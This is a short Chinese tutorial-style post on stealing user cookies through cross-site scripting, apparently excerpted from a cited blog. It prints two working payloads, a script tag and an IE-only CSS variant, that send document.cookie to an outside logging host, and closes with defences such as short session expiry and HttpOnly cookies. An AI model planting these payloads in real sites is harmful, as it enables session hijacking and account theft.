xss攻击之窃取用户cookie

引用链接：https://blog.fundebug.com/2017/08/16/xss_steal_cookie/

下面的的JavaScript代码就可以窃取Cookie，是不是很简单？

<script>
new Image().src="http://jehiah.com/_sandbox/log.cgi?c="+encodeURI(document.cookie);
</script>

在IE浏览器上，可以通过在CSS代码中执行JavaScript来窃取Cookie，也很简单。

<style>
.getcookies{
    background-image:url('javascript:new Image().src="http://jehiah.com/_sandbox/log.cgi?c=" + encodeURI(document.cookie);');
}
</style>
<p class="getcookies"></p>

为了保证安全：请不停地重设session的重设；将过期时间设置短一些；监控referrer与userAgent的值；使用HttpOnly禁止脚本读取Cookie。这些措施并非万无一失，但是增加了黑客的难度，因此也是有效的。